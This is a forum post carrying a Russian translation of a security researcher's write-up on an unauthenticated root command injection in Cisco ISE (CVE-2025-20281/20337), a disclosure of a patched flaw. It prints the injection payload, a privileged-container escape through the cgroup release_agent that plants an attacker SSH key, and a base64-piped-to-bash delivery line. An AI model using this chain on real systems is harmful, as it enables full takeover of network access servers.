LIMB
Вход Регистрация

тема

[ПЕРЕВОД]CVE-2025-20281: Уязвимость в API Cisco ISE, позволяющая запускать код удалённо без логина

DESTR0Y · · 0 ответов · 188 просмотров

АВТОР СТАТЬИ: Ruben Enkaoua
Ссылка на оригинал: 
Не удалось прогрузить медиа

Zero Day Initiative — CVE-2025-20281: Cisco ISE API Unauthenticated Remote Code Execution Vulnerability

On January 25th, 2025, the Trend Zero Day Initiative (ZDI) received a report from Kentaro Kawane of GMO Cybersecurity by Ierae regarding a deserialization of untrusted data vulnerability in Cisco Identity Services Engine (ISE). This pre-authentication vulnerability existed in the enableStrongSwanTun
Не удалось прогрузить медиа
www.zerodayinitiative.com

Переведено для LIMB.cc​

25 января 2025 года Trend Zero Day Initiative (ZDI) получил репорт от Кентаро Каване из GMO Cybersecurity by Ierae о уязвимости в Cisco Identity Services Engine (ISE), связанной с десериализацией недоверенных данных. Эта уязвимость работала до авторизации и была в методе enableStrongSwanTunnel класса DescriptionRegistrationListener. Пока я ковырялся в этой дыре, заметил, что та же функция позволяла инжектить команды с правами root. Изначально Cisco закрыла это как CVE-2025-20281 (ZDI-25-609), но потом выкатили CVE-2025-20337 (ZDI-25-607), чтобы полностью заклеить дыру. Ниже поймёте, почему.

Эксплуатировать её оказалось не так просто, как я сначала думал, но в итоге было гораздо веселее, чем обычная, скучная инъекция команд. В этом блоге я расскажу, как удалось получить root shell на уязвимых установках Cisco ISE, включая побег из Docker-контейнера, где эта инъекция и выполнялась!

Об этом подробнее позже, а пока давайте глянем на саму уязвимость.

Пробиваем инъекцию команд​


Вот метод enableStrongSwanTunnel, который тащит за собой две уязвимости – одна из них это та самая, о которой ZDI получил репорт, а вторая — та, про которую я буду рассказывать в этом блоге. Интересный момент: Cisco не согласилась и сначала присвоила одному CVE обе уязвимости. Правильный был такой ход или нет? Судите сами.

Java:
private void enableStrongSwanTunnel(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
        logger.debug("Handling enableStrongSwanTunnel request ..");
        try {
            logger.debug("Enable Native IPSec Tunnel is triggered.");
            ObjectInputStream var3 = new ObjectInputStream(var1.getInputStream()); // [1]
            String[] var4 = (String[])var3.readObject(); // [2]
            ...
            Process var7 = this.invokeStrongSwanShellScript(var5, var6, "enable ", var4); // [3]
            ...
        }
    }

На [1] и [2] выше видна та самая небезопасная десериализация, о которой изначально сообщили.

А вот на [3] интересно: если атакующий передаст валидный сериализованный массив строк Java, эти значения прямо идут на вызов shell-скрипта.

И это ещё не всё — функция invokeStrongSwanShellScript таила в себе ещё одну интересную «фишку»:

Java:
private Process invokeStrongSwanShellScript(File var1, File var2, String var3, String[] var4) throws IOException, InterruptedException {
        ...
        String var5 = "/usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh ".concat(var3).concat(var4[0]); // [4]
        logger.debug("Command is :: {}", var5); // [5]
        Process var6 = Runtime.getRuntime().exec(var5); // [6]
        ...
    }

Команда sudo на [4] была ещё круче. Не только потому, что это выглядело как идеальная дыра для инъекции команд, но и потому, что код выполнялся с правами root.

Вызов logger.debug на [5] казался полезным, поэтому после того, как я перенастроил log4j на вывод debug-логов, я начал с тестовых входных данных. Короткое пояснение:

Каждый лог ниже получался после отдельного POST-запроса на /deployment-rpc/enableStrongSwanTunnel. Тело запроса — это строковое представление сериализованного массива Java String[], где первый элемент массива содержал инъекцию команды.

Пример такого массива, который в логах выглядел как configureStrongSwan.sh enable x; touch /flag после сериализации и отправки на эндпоинт:

Java:
String[] arr = {"x; touch /flag", ""};

Для краткости в остальной части блога я буду показывать только команды, которые реально выполнялись через bash с exec(). На практике вектором запуска каждой из них был уязвимый эндпоинт enableStrongSwanTunnel.

А теперь вернёмся к этим тестовым входным данным:

Bash:
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable x; touch /flag
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable "x; touch /flag"
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable `x; touch /flag`
... // Many attempts later
# ls /flag
ls: cannot access '/flag': No such file or directory

Логи выглядят отлично — видно, что мы реально можем контролировать значение второго конкатенируемого параметра на [4] выше.

Но, как показывает последующий вызов ls, всё оказалось не так просто. Поскольку exec вызывает bash-скрипт на диске и передаёт наш контролируемый параметр как аргумент, просто «сломать» вызов exec и выполнить свой код не получится.

Вместо этого нужно заглянуть в configureStrongSwan.sh, чтобы понять, как этот параметр используется внутри скрипта.

Bash:
OPERATION=$1
IKE_ID="$2"
...
elif [ "$OPERATION" == "enable" ]; then
    enableStrongSwan "$IKE_ID" # [1]
fi
enableStrongSwan(){
  ...
  retval=$(verifyIpsecConnectionStatus "$1") # [2]
  ...
}
verifyIpsecConnectionStatus(){
  cmd="swanctl -l --ike "
  arg="$1" # [3]
  statusCmd="${cmd}${arg}" # [4]
  retval=$(docker exec strongswan-container /bin/bash -c "$statusCmd") # [5]
  ...
}

На [1] мы вызываем функцию enableStrongSwan, когда используется операция enable, указанная выше на [3]. Здесь OPERATION равен enable, а IKE_ID — это наш контролируемый атакой payload.

На [2] видно, что IKE_ID используется в функции только один раз — как параметр для другой функции verifyIpsecConnectionStatus.

На [3] и [4] мы используем наш payload для построения команды swanctl. Аргумент $1 на [3] соответствует параметру IKE_ID.

И, наконец, на [5] обратите внимание: эта команда выполняется внутри Docker-контейнера strongswan-container. Это была ещё одна часть головоломки — возможно, код реально исполняется внутри контейнера. Давайте посмотрим поближе:

Bash:
# docker exec -it strongswan-container ls /flag
ls: cannot access '/flag': No such file or directory

Пока без результата, но уже шаг ближе!

Важно заметить: уязвимый параметр IKE_ID берётся из аргумента скрипта, который хранится в переменной $2. Рассмотрим пример из первых тестовых данных:

Bash:
configureStrongSwan.sh enable x; touch /flag

Здесь $2 просто равен x;. Не так страшно, как мы надеялись. Дополнительные аргументы $3 и $4 содержат touch и /flag.txt, но скрипт их не использует.

Даже если использовать кавычки или обратные апострофы, чтобы bash не разбивал payload, на диске ничего не происходит. Почему? Значение $2 в примере объясняет всё:

Bash:
configureStrongSwan.sh enable "x; touch /flag"

Интересно, что аргумент $2, который используется как IKE_ID в configureStrongSwan.sh, на самом деле равен "x;. Странно, ведь обычно при передаче аргументов в bash-скрипт кавычки сохраняют их целиком. Однако Java обрабатывает эту команду иначе, чем bash сделал бы это напрямую.

Токенизация в вызовах exec() в Java​


Чтобы правильно собрать финальный эксплойт, сначала нужно понять, как работает метод exec в Java. Cisco ISE использует Java 8, так что давайте посмотрим на код OpenJDK для этой версии:

Java:
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");
    StringTokenizer st = new StringTokenizer(command); // [5]
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}

На [5] мы видим, что когда строковая команда передаётся в exec(), Java разбивает её на токены с помощью класса StringTokenizer.

Подробнее про StringTokenizer в Java 8 можно почитать [здесь]. Для целей этого блога сразу к сути:

По умолчанию StringTokenizer не учитывает кавычки или обратные апострофы. Он просто делит строку по указанным токенам (по умолчанию \t\n\r\f, которые использует метод exec). Вот почему значение IKE_ID из тестовых данных оказалось просто "x; при попытке использовать кавычки. К тому времени, как bash получил наш ввод, он уже был токенизирован и воспринимался не как один аргумент.

К счастью для нас, в Bash есть специальная переменная Internal Field Separator (${IFS}). Она позволяет интерпретировать строки по определённым разделителям.

Для этого эксплойта использование простое: атакующий может заменить все пробелы на ${IFS}, и Bash будет воспринимать всё как задумано. Примеры ниже с точки зрения Bash работают одинаково.

Bash:
configureStrongSwan.sh enable x; touch /flag
configureStrongSwan.sh enable x;${IFS}touch${IFS}/flag

С версией с ${IFS}, Java теперь воспринимает весь payload как один токен, сохраняя целостность команды.

Более того, exec теперь работает нам на руку — даже кавычки добавлять не нужно. Java токенизирует ввод и передаёт его в bash как один аргумент.

Теперь можно запускать payload с использованием переменной ${IFS}, и… вуаля!

Bash:
# docker exec -it strongswan-container ls /flag
/flag

Наконец-то удалось выполнить код! Хотя это ещё не совсем то, что мне нужно — код выполняется в контексте Docker-контейнера strongswan-container, а я на самом деле хотел получить полноценный root shell на хосте ISE-сервера.

Выход из контейнера​


С хост-машины видно, что контейнер strongswan-container запущен с привилегиями.

Bash:
$ docker inspect --format='{{.HostConfig.Privileged}}' strongswan-container
true

Это настоящий подарок от Cisco. Поскольку контейнер запущен с привилегиями, мы можем использовать технику «User-Mode Helpers», описанную в докладе [PDF] Брандона Эдвардса и Ника Фримена на Black Hat USA 2019.

Я суммировал детали, относящиеся к конкретной конфигурации этого контейнера. Более общую информацию можно найти здесь. Финальный payload выглядел так:

Bash:
mkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc // [1]
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_release
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
pop="$overlay/simulate.sh"
echo $pop > /tmp/esc/release_agent // [2]
echo \#\!/bin/bash > simulate.sh ; echo "mkdir /root/.ssh" >> simulate.sh ; echo "echo 'ssh-rsa [public key here] attacker' > /root/.ssh/authorized_keys" >> simulate.sh; chmod +x simulate.sh // [3]
echo "0" | tee /tmp/esc/w/cgroup.procs // [4]

На [1] монтируется Linux cgroup.

На [2] указывается скрипт simulate.sh, который будет выполнен, когда cgroup опустеет.

На [3] создаётся и настраивается simulate.sh. В моём случае я выбрал команду для добавления SSH-публичного ключа в файл /root/.ssh/authorized_keys на ISE-сервере.

На [4] cgroup очищается. Это вызывает выполнение simulate.sh на хосте ISE-сервера с правами root.

Собираем всё вместе​


Эта техника работает отлично, но всё ещё есть проблема с пробелами. Вместо того чтобы повсюду использовать ${IFS}, я решил закодировать скрипт выхода из контейнера в base64. Тогда payload, отправляемый на уязвимую точку, мог включать команду base64 -d для декодирования скрипта и передачу его в bash:

Bash:
echo${IFS}[base64-encoded-escape-script]${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash

В итоге финальный злонамеренный запрос выглядел так:

Не удалось прогрузить медиа


И, наконец, root shell получен!

Bash:
$ ssh -i attacker_id_rsa [email protected]
[root@cisco-ise ~]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023

Вывод​


Эксплуатация этой уязвимости была очень увлекательной и показала несколько полезных техник, которые могут пригодиться даже для относительно простой категории багов вроде command injection.

Вкратце: атакующий может использовать совокупность ошибок в Cisco Identity Services Engine, чтобы получить полный контроль над системой с правами root.

Используя переменную ${IFS} в bash, мы обошли ограничение Java exec, которое мешало использовать пробелы. Кроме того, хотя изначальная командная инъекция выполнялась внутри Docker-контейнера, нам удалось выйти из песочницы и выполнить код на хосте, потому что Cisco настроила контейнер в привилегированном режиме.

И, наконец, для тех, кто следит за ходом событий: два бага, которые Cisco сочла дубликатами? Они были исправлены двумя разными изменениями в коде. Определение «дубликата» снова оставлено на усмотрение читателя.

Переведено для LIMB.cc​

👍14 ❤️2 😁2 😮1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.